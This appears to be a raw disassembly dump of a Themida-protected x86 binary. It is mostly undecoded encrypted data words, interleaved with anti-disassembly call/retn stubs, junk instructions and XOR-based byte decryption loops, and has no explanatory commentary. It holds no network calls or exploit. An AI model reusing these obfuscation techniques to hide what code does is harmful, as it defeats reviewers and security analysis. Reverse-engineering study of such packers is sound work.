dd 8B06A809h, 6800FC1h, 8B000000h, 0A82C459Dh, 4E8C106h
dd 1989B509h, 9D8B06A8h, 6A80F05h, 8BE2F766h, 0A80759BDh
dd 8BC82B06h, 0A81D91BDh, 0FD18B06h, 8D0FDBB7h, 0Ch, 6840Fh
dd 8D290000h, 6A813E9h, 0A5E9h, 9DBF6600h, 50858B2Dh, 8B47554Ch
dd 0A81E21BDh, 61858906h, 8306A82Fh, 0F55607C0h, 0EE95Bh
dd 1BC10000h, 14622C3h, 0CED08C80h, 0EA1419FBh, 5700C083h
dd 9E8h, 0AEE23500h, 1020D2E9h, 5BF92078h, 0FD03B5Bh, 1583h
dd 29B53100h, 5106A822h, 0E95BDE8Ah, 4Ah, 7D58529h, 8D8B06A8h
dd 0FFFFFFFFh, 1BE99D89h, 0E18306A8h, 2F840F01h, 2B000000h
dd 0A80F31BDh, 0FFA58306h, 0FEFFFFFFh, 1F119529h, 958906A8h
dd 47554C50h, 0CE9h, 70463300h, 0A7BE8EC5h, 8CCD1DC0h
dd 0E9EFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5996B2: ; CODE XREF: Themida_:00599560j
lea esi, [ebp+6AC6FB2h]
push 0
push eax
call sub_5996C3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5996C3 proc near ; CODE XREF: Themida_:005996BBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5996C3 endp
; ---------------------------------------------------------------------------
db 43h
dd 0FB1B59A1h, 667B5C14h, 8B02B2BBh, 0A815959Dh, 0F006A06h
dd 68Ah, 0B59D2300h, 0FF06A819h, 0A81B3195h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0EE180B0Ah, 0F78B6660h, 8E9h, 84DEA800h, 4A16B845h
dd 8D2961DCh, 6A833C1h, 104FB9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 5C92AA93h
dd 34ED9D29h, 0BF0F06A8h, 0FCE183F8h, 5860Fh, 81660000h
dd 0FC85BBEBh, 329DBD8Bh, 8E906A8h, 0F5000000h, 0E9C431B1h
dd 2B5D9E98h, 9D9D31C0h, 0BA06A816h, 0
; ---------------------------------------------------------------------------
loc_59978C: ; CODE XREF: Themida_:00599796j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_59978C
push 0
push ebp
call sub_5997A3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5997A3 proc near ; CODE XREF: Themida_:0059979Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5997A3 endp
; ---------------------------------------------------------------------------
db 4Eh
dd 0BDBB651Eh, 0B0CC32Dh, 0A830FDBDh, 89BD8B06h, 6A06A830h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 726BC352h, 727FF99Fh, 880D894Bh, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 904CC353h, 0FBAAB2A7h, 958B33E5h, 6A805B9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0D2C35040h
dd 8D8BFD8Ah, 6A81469h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 0B6C35545h, 0FCD92B85h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 2E24EEC3h, 0C6E79584h
dd 0CABDD781h, 6A5E3Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 2FB9C6C3h, 8B52D213h, 0A829F1BDh
dd 91BD8306h, 6A80Ch, 81840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 1320CBC3h
dd 48DA32CDh, 0B8h, 9BD2B00h, 8D06A825h, 0A84FAF8Dh, 85895606h
dd 6A82F95h, 0CDBD8B5Bh, 0FF06A816h, 51006AE1h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 99B80E75h
dd 0E860DA95h, 5, 0C6D9A02Fh, 41858BFDh, 5F06A82Fh, 958D2956h
dd 5B06A830h, 83FB8B61h, 0A80BBDBDh, 840F0006h, 3F7h, 1701B589h
dd 0BD8306A8h, 6A80BBDh, 0FF840F01h, 89000003h, 0A828A19Dh
dd 0BDBD8306h, 306A80Bh, 3B6860Fh, 6A600000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 948DC350h, 31958988h, 6606A81Ah, 0DE9D98Ch, 4C000000h
dd 0A46C9931h, 460AE877h, 0D5C0AFB9h, 6604E180h, 2F9D781h
dd 840FC90Ah, 112h, 858BFE8Bh, 6A80BE1h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 14h, 0A2C35747h, 1D5D8533h
dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 0BD23CDC3h, 6A805D5h, 0EE850h, 57D60000h
dd 3B1CFC89h, 475D5329h, 2DAF3C5Ch, 0A59BE60h, 33BF2617h
dd 616593A3h, 2404895Fh, 1D9D8B51h, 5F06A815h, 6A006Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 4CE4FAC3h, 0E1E465CDh, 0CD19589h, 8D2906A8h, 6A81FBDh
dd 7EB06B68h, 0E9BB66FBh, 240481E9h, 4A05394h, 95FFD88Bh
dd 6A80741h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 80C35242h, 636A1269h, 8166CB7Eh, 891614C3h, 0ABA22785h
dd 33BB6606h, 212E9FFh, 10E80000h, 31000000h, 7BA155EEh
dd 0C34E6944h, 0F788E767h, 5F2C563Dh, 1BE1B509h, 858B06A8h
dd 6ABA21Fh, 0C7BCE380h, 1800h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0D70B1730h
dd 2261B509h, 0B58B06A8h, 6ABA223h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 0AAC35646h, 0DAB04454h, 873DAE4Eh
dd 0BE9FC45h, 0D1000000h, 14A78241h, 0E7C3CE68h, 858B2814h
dd 6A82B7Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 76C35040h, 644CED89h, 49EFA9FCh, 0BE9h, 60537600h
dd 75489DB2h, 234ECD7h, 0F9500689h, 0E1858B5Bh, 6A06A80Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 4F2EC351h, 6A044689h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5ADEC355h
dd 0B7AA46FDh, 506F6506h, 11E851h, 0AD790000h, 72D4D6A4h
dd 341821C2h, 4CB6E04Eh, 0E99F0C07h, 11h, 0D440F28h, 0CF0C5783h
dd 0B3E738CEh, 88E67E4h, 895B5B15h, 8C0F2434h, 6, 62DBD8Bh
dd 0B5FF06A8h, 6ABA21Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 79C35646h, 0F1EF40Eh, 684h, 8DBD3100h
dd 6806A817h, 0EC86325Ah, 8B665250h, 52310FD9h, 8C6E30BFh
dd 585A5F52h, 0A5240481h, 8B1398D1h, 0A831A19Dh, 27858D06h
dd 6A06ABA2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 4A4EC351h, 8A87E264h, 0CBE5BFFCh
dd 0D38060DEh, 52505004h, 0DF8B6657h, 66310F5Bh, 585AFA8Bh
dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 6EC3C356h, 74195FFh, 9D8906A8h
dd 6A80F31h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 0FD9647F7h, 0C7190D2Ah, 0A80BBD85h
dd 306h, 54DF8100h, 835105C9h, 0ABA227BDh, 840F0006h, 24h
dd 3AE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 8733868Fh, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 6B27C351h, 0E8F518D8h
dd 33CB5798h, 0A82F4D9Dh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 55F710h, 6676B260h
dd 61CD2BBAh, 0BBDBD83h, 0F0306A8h, 49885h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0C3807C98h, 27BD83DDh, 6ABA2h, 46B840Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 6D57AAC3h, 4D93EA9h, 0FFC7CB80h, 0ABA227B5h, 259D8B06h
dd 0FF06A80Dh, 0A815F995h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0E37482DCh
dd 2B4FC781h, 0B58B2EEEh, 6ABA21Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 5BC35242h, 0BD8BCB7Dh, 6A80065h
dd 0DE9h, 0C86CFD00h, 0CA8D2A7Dh, 718B72BFh, 9D8B6266h
dd 6A8158Dh, 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 0A5918DC3h, 1B051D9h
dd 8B6050CAh, 348961DEh, 0C59D8B24h, 0FF06A80Ch, 0ABA227B5h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 5C8DDC7Ch, 344EC062h, 4D9D8B94h, 8906A82Eh
dd 0A8026DBDh, 9995FF06h, 6A06A821h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 43B2C353h
dd 1D9D8B3Ah, 8B06A834h, 0ABA21BB5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0BBF2A698h
dd 400D5BC4h, 10E9h, 9F630100h, 0A6BA9A0h, 0E0335E7h, 0D39B7B9Eh
dd 41858BC4h, 8906A80Eh, 0C486h, 959D0B00h, 8B06A802h
dd 0A805B995h, 4C28306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h
dd 14h, 10C35747h, 2B11B589h, 7E906A8h, 88000000h, 31D0B5E8h
dd 50892BD5h, 0DFB70F20h, 8E9h, 4B45500h, 899326F9h, 0CE858D20h
dd 6A06ABB7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 9AE2C357h, 0B523DE81h, 8E9h, 4E175D00h
dd 0BBA11561h, 0F98B66EDh, 0B88689h, 0BB660000h, 6A7812h
dd 2A918529h, 0B5FF06A8h, 6ABA227h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 0E2C35545h, 810FA161h, 2, 95FF9AB7h
dd 6A81E1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 42C35646h, 0C80F5C68h, 8D896086h, 6A81509h, 236061F5h
dd 0A81AA995h, 3D958B06h, 6106A80Fh, 0DE8B6696h, 0FE8B6650h
dd 0D2C78096h, 0A227B5FFh, 17BB06ABh, 0FF758DBFh, 0A82A6995h
dd 7F35BF06h, 0BD8359E9h, 6A82E3Dh, 56840F00h, 96000000h
dd 0DA8B6050h, 850F5250h, 0
dd 585A310Fh, 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 4639BEC3h, 6C1F562Eh, 13E8D9F2h
dd 5A000000h, 0C3DD347Dh, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh
dd 9D2B34DAh, 6A82889h, 27B5FF5Bh, 6A06ABA2h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 527FC353h, 39D6E8BFh, 0FFFB8B4Fh, 0A8318595h, 7DBD8B06h
dd 0F06A826h, 685h, 559D8B00h, 0FF06A81Bh, 0ABA227B5h
dd 13E906h, 0B7DC0000h, 0F3AAFA18h, 1E8A6316h, 6ADDC589h
dd 726728C4h, 95895043h, 6A81985h, 5595FF5Bh, 6A06A80Fh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0E17EC351h, 138A3637h, 0BD83509Fh, 6A8077Dh
dd 0A0840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 758FC357h, 0A8724A84h
dd 0DE9C7h, 11380000h, 0A1351DF8h, 0FE73485Bh, 8BDE9829h
dd 0A82A2DBDh, 19858B06h, 6A06A80Dh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 359CC350h
dd 0A814D0BBh, 14E93Ah, 918C0000h, 703FC36h, 0EA4658Dh
dd 907C7639h, 4A4A6CB7h, 0C62E58h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 350607F6h
dd 0C7DA4A5Ch, 0A80DC185h, 6, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0F287E9EDh
dd 0BD03FFFFh, 6A82E55h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0FDE05BC3h, 14A69284h
dd 31A2A999h, 0A8001D8Dh, 85858D06h, 6A06A833h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0E97AC357h, 9, 1A0F5E53h, 3C38EDBDh, 489506Bh, 1D9D8B24h
dd 0F06A811h, 680h, 29BD0900h, 6A06A801h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 4D1EA6ACh, 2C380DEh, 6AF8B70Fh, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 62858D45h
dd 6A06AD0Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 2551C353h, 8090CE57h, 66F5FECBh
dd 0C083F98Bh, 0D59D8B05h, 5006A806h, 8DC0B2BFh, 24048950h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BFC35646h
dd 3B84C446h, 6AF960F1h, 0E1BD8B00h, 6A06A817h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0D7F44D8Ch, 6191B1D5h, 70BF7AF6h, 8B3FDE28h, 0A82A61BDh
dd 4195FF06h, 8B06A825h, 0A80EF5BDh, 7F8D8D06h, 6A06AB8Ch
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 8EB5C356h, 28BA4E2Eh, 0FF76508Dh, 51006AD1h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 3D7B2818h, 339DBD83h, 0F0106A8h, 2E85h, 65B50900h, 6A06A807h
dd 0F7816602h, 0F90F326h, 8Eh, 0BE95000h, 66000000h, 43054919h
dd 13955837h, 0FF903510h, 0A81E1D95h, 0E9FC8A06h, 0D1Fh
dd 0E8h, 0ED815D00h, 6AD0A6Ch, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 29C35646h, 0C78B6021h, 7B4B4ABEh
dd 9E96123h, 0A7000000h, 1DA05D6h, 85418ACCh, 7E2E858Dh
dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 50CB4EC3h, 0BADDBE60h, 8961271Eh, 6A2404h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0BE9616C3h, 497DA17Fh, 9D8B2101h, 6A805E5h, 35FF64h
dd 0F000000h, 0A8Fh, 85896000h, 6A83529h, 64615951h, 2589h
dd 0F98B0000h, 0FFD8B70Fh, 0A833F185h, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 928F2FE5h, 1B79BD8Bh, 0FF6A06A8h, 11B5FFFCh, 6A06A82Ah
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 52ECC355h, 81664A97h, 89A4CAE3h, 0A80C5DBDh
dd 7D95FF06h, 0E906A82Ah, 16Eh, 277D9D8Bh, 0B006A8h, 5159D8Bh
dd 70E606A8h, 17C19D8Bh, 71E406A8h, 12E9h, 4E689400h, 0F4FF140Ch
dd 5056C999h, 0AC312979h, 3CEC37E7h, 37830F61h, 60000001h
dd 31C18D29h, 880F06A8h, 6, 289B589h, 0F6106A8h, 0CE9C8B6h
dd 63000000h, 97C83685h, 6FA6EF20h, 0BAC6DC9Fh, 6, 0AE9h
dd 8C11E400h, 1D4FCF93h, 8B2DB8B2h, 9D9529C1h, 0C106A821h
dd 880F04E8h, 1, 0E2F766F9h, 0CE8h, 0FCD1AB00h, 0DF9D3384h
dd 0B6DB48D3h, 8E9E5h, 28F10000h, 3040860Ah, 2B5F2A54h
dd 0D7DF80C8h, 12E8D18Bh, 0FB000000h, 0C37D23A6h, 0BD80585Ch
dd 92E1F3CBh, 25326681h, 9ED381CAh, 5F7DD246h, 9DE9h, 8860F00h
dd 0F000000h, 285h, 8BD88B00h, 4E4985h, 6800F44h, 1000000h
dd 0A80DADBDh, 83DD8A06h, 0B70F07C0h, 0C083DFh, 0C552B0BFh
dd 0FD03B36h, 1383h, 599D8B00h, 906A807h, 0A8206185h, 54E906h
dd 0F98A0000h, 0FFFF8D8Bh, 13E8FFFFh, 6000000h, 5B1DAE6Eh
dd 0ED597BC4h, 65903A1Ch, 24F3A009h, 60539A9Dh, 835F5B61h
dd 840F01E1h, 26h, 8D9D8B57h, 5B06A801h, 0FFFFA583h, 81FEFFFFh
dd 889F82DBh, 0FE8B6626h, 4E499589h, 0B70F4400h, 0E9DAh
dd 0B58D0000h, 6AC85DCh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0B1C35040h, 0AFF7818Bh, 8B0C52DAh, 0A814FDBDh
dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 910CC356h, 658103B6h, 71E0FFA0h
dd 0F459589h, 13E906A8h, 9F000000h, 0B82BFE65h, 1840DE0Ch
dd 2B530F0Dh, 0FFC145FFh, 95FF111Bh, 6A81B31h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 66C35141h, 89B727D2h
dd 0A8275D85h, 0FE3B906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 0B24161C3h, 367B4BB4h
dd 0FA8A3B36h, 60FCE183h, 1FB59589h, 8B6606A8h, 8BFC61CBh
dd 0B8FAh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 8C8511C3h, 0EA0CEA7h, 2B5612FDh
dd 9E9D2h, 1220000h, 37200F44h, 0AD19812Fh, 0E8D1C233h
dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 8B47C352h, 0A833E5BDh
dd 0FBDDBF06h, 880D4CCAh, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6401C357h
dd 8968AE53h, 0A81D598Dh, 0E7816606h, 958B75A9h, 6A805B9h
dd 0DAEF8166h, 698D8B1Fh, 6A06A814h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0CFE9C352h
dd 417743C5h, 81665568h, 50F411F3h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 0AD9D3358h, 6A06A82Ah
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 6A71C355h, 0B5893440h, 6A8025Dh, 0C91BD83h
dd 0F0006A8h, 5184h, 0B8F900h, 0E8000000h, 8, 77F34130h
dd 0D541BA71h, 14398589h, 8D5F06A8h, 0A84FAF8Dh, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 9529EF9Bh, 6A8029Dh, 0B509E1FFh, 6A81B35h, 2F0DB509h
dd 0BD8306A8h, 6A80BBDh, 0A0840F00h, 52000003h, 6880Fh
dd 9D8B0000h, 6A813E9h, 0BDBD835Bh, 106A80Bh, 3A0840Fh
dd 6E90000h, 0FF000000h, 21D3A6EBh, 0BDBD83BFh, 306A80Bh
dd 352860Fh, 85890000h, 6A81101h, 53006A60h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 6860FD3h, 8B000000h
dd 0A834519Dh, 0FD9D8906h, 6606A80Ah, 0BD29D98Ch, 6A82259h
dd 6A04E180h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 278FC352h, 23FCCF2Ah, 0A81A4DBDh
dd 0FC90A06h, 0F084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 8F814D93h, 31BD8B54h
dd 8B06A801h, 0A82641BDh, 0E1858B06h, 6A06A80Bh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 7C81C350h, 689EBD65h, 3363BDA8h, 0A81D5D85h, 6D852906h
dd 5006A834h, 66F361BBh, 24048956h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 24C35242h, 92972A1Fh, 6AE2F727h
dd 459D8B00h, 6806A81Bh, 0D1797FF4h, 481F98Bh, 0A5840B24h
dd 0BD9D8B2Eh, 0FF06A800h, 0A8074195h, 0D38B6006h, 33EDB589h
dd 666106A8h, 0D637C381h, 0A2278589h, 5E906ABh, 90000000h
dd 27A6F74Bh, 1A3E9h, 11E800h, 0FEE30000h, 9DBC3119h, 30CEB762h
dd 0A14A4DB2h, 667DD362h, 0F7FEF381h, 1F858B5Bh, 6A06ABA2h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 2295C357h, 0B5317F18h, 6A82AE5h, 1B75BD2Bh
dd 0BB6606A8h, 0C70D95h, 18h, 0DE9h, 0C79B7F00h, 0A6D43AE8h
dd 71D8FAB6h, 0B58BED35h, 6ABA223h, 20799D8Bh, 858B06A8h
dd 6A82B7Dh, 89B8CB80h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 8B681616h, 0C9B589D9h
dd 8B06A832h, 0A80BE185h, 95858906h, 8906A827h, 6A0446h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 39CA8FC3h, 0BC4E586Ah, 40B39610h, 6A9650h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 8F814DC3h
dd 0FF7CAB54h, 0ABA21FB5h, 8C0F06h, 0E8000000h, 4, 1F03FFh
dd 14E952h, 0DAF70000h, 0F595621Bh, 3A79F363h, 0B8D2514Bh
dd 4ABDF9CDh, 505F0F31h, 9E860h, 0CC100000h, 4610F6Bh
dd 66404E54h, 5E990BBBh, 24448B61h, 66008B04h, 8939E3BFh
dd 58042444h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 0FC35242h, 29BE8959h, 0A8171DBDh, 27858D06h, 8B06ABA2h
dd 0A82099BDh, 6FBB5006h, 89077DB3h, 80602404h, 0EF81C9D1h
dd 2009E7D9h, 4195FF61h, 0BB06A807h, 5F2F8480h, 85C7FC61h
dd 6A80BBDh, 3, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 0BCC35747h, 83F56DEBh, 0ABA227BDh, 840F0006h, 34h
dd 6880Fh, 0BD8B0000h, 6A8151Dh, 3EE9h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 870FEEC2h, 0
; ---------------------------------------------------------------------------
loc_59ACE4: ; CODE XREF: Themida_:0059ACFBj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_59ACE4
jmp short loc_59AD35
; ---------------------------------------------------------------------------
loc_59ACFF: ; CODE XREF: Themida_:0059AD16j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_59ACFF
jmp short loc_59AD35
; ---------------------------------------------------------------------------
loc_59AD1A: ; CODE XREF: Themida_:0059AD31j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_59AD1A
jmp short $+2
loc_59AD35: ; CODE XREF: Themida_:0059ACFDj
; Themida_:0059AD18j
mov eax, eax
mov edi, 6BBF8B3Bh
pusha
mov bl, 6
mov ebx, [ebp+6A82AF1h]
popa
jbe loc_59AD51
mov ebx, 44DB48A4h
loc_59AD51: ; CODE XREF: Themida_:0059AD46j
cmp dword ptr [ebp+6A80BBDh], 3
jnz loc_59B16E
push 0
push ebp
call sub_59AD69
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59AD69 proc near ; CODE XREF: Themida_:0059AD61p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_59AD69 endp
; ---------------------------------------------------------------------------
cmp bl, [edi-28h]
fmul qword ptr [ecx+0B6441DBh]
mov ebp, 6A81529h
cmp dword ptr [ebp+6ABA227h], 0
jz loc_59B16E
push 0
push ebp
call sub_59AD9F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59AD9F proc near ; CODE XREF: Themida_:0059AD97p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_59AD9F endp
; ---------------------------------------------------------------------------
db 1Ah
; ---------------------------------------------------------------------------
sub [esi+edi*8-24h], ebx
ja short near ptr loc_59ADC4+1
mov edi, 0D98B66DFh
push dword ptr [ebp+6ABA227h]
push 0
push ecx
loc_59ADC4: ; CODE XREF: Themida_:0059ADB4j
call sub_59ADCC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59ADCC proc near ; CODE XREF: Themida_:loc_59ADC4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_59ADCC endp
; ---------------------------------------------------------------------------
dd 8DCECA12h, 0AD062F26h, 8166F6FBh, 0F2925D3h, 58Bh, 0F3816600h
dd 95FF82B6h, 6A815F9h, 21399D23h, 0B58B06A8h, 6ABA21Bh
dd 8E9h, 0C2A6E800h, 4F350BCDh, 106C723h, 8B000100h, 0A822419Dh
dd 9E95006h, 1D000000h, 2E4E5A89h, 83A5230Eh, 6A243489h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 25FEC355h, 7FA5C74Eh, 2960394Eh, 0A8007D8Dh
dd 519D8906h, 6106A81Bh, 0A227B5FFh, 0BF6606ABh, 95FF0E12h
dd 6A82199h, 8BFAB70Fh, 0ABA21BB5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A58FD808h
dd 8D891A37h, 6A81A51h, 189AEF81h, 858B3825h, 6A80E41h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 75C35747h
dd 86897363h, 0C4h, 591BD8Bh, 958B06A8h, 6A805B9h, 88A0Fh
dd 0F500000h, 84h, 0C2835F00h, 50006A04h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 20508983h
dd 0A5BD89FCh, 8D06A831h, 0ABB7CE85h, 55006A06h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 5DBF9B97h, 9C56ED9Bh, 870F6AC4h, 1, 21BD8BF5h, 8906A816h
dd 0B886h, 61853100h, 6A06A822h, 0BB665200h, 0FF5F8D09h
dd 0ABA227B5h, 25BD0906h, 0FF06A822h, 0A81E1D95h, 70DF8006h
dd 5840F50h, 0BB000000h, 1BFDA729h, 80243489h, 8F0FE4E3h
dd 3, 0FFCBCF80h, 0ABA227B5h, 50EF8106h, 0FF1B7E2Bh, 0A82A6995h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
